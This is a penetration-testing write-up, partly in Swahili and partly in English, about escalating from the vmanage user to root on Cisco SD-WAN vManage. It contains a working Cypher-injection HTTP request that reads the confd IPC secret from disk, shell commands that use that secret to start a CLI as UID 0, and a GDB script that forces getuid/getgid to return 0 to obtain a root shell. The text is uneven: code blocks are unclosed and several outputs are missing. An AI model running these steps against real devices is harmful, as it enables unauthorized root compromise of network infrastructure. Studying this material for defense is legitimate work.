## Path 1
(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
Baada ya kuchimba kidogo kupitia baadhi ya [nyaraka](http://66.218.245.39/doc/html/rn03re18.html) zinazohusiana na `confd` na binaries tofauti (zinazopatikana kwa akaunti kwenye tovuti ya Cisco), tuligundua kwamba ili kuthibitisha socket ya IPC, inatumia siri iliyoko katika `/etc/confd/confd_ipc_secret`:
```
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
```
Kumbuka mfano wetu wa Neo4j? Inafanya kazi chini ya ruhusa za mtumiaji `vmanage`, hivyo inaturuhusu kupata faili hiyo kwa kutumia udhaifu wa awali:
```
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
Host: vmanage-XXXXXX.viptela.net
[...]
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
```
Programu ya `confd_cli` haisaidii hoja za amri lakini inaita `/usr/bin/confd_cli_user` kwa hoja. Hivyo, tunaweza kuitisha moja kwa moja `/usr/bin/confd_cli_user` kwa seti zetu za hoja. Hata hivyo, haiwezi kusomwa na haki zetu za sasa, hivyo tunapaswa kuipata kutoka rootfs na kuikopi kwa kutumia scp, kusoma msaada, na kuitumia kupata shell:
```
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret
vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Blogu¹ ya timu ya synacktiv ilielezea njia nzuri ya kupata root shell, lakini tatizo ni kwamba inahitaji kupata nakala ya `/usr/bin/confd_cli_user` ambayo inaweza kusomwa tu na root. Nilipata njia nyingine ya kupandisha hadhi hadi root bila usumbufu kama huo.
Nilipovunja kipande cha `/usr/bin/confd_cli` binary, niliona yafuatayo:
```
vmanage:~$ objdump -d /usr/bin/confd_cli

Wakati ninapokimbia “ps aux”, niliona yafuatayo (_note -g 100 -u 107_)
```
vmanage:~$ ps aux
… snipped …

```
I hypothesized the “confd\_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application.
My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it.
As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system.
I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly.
root.gdb:
```
set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run
```
Output ya Console:
```
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
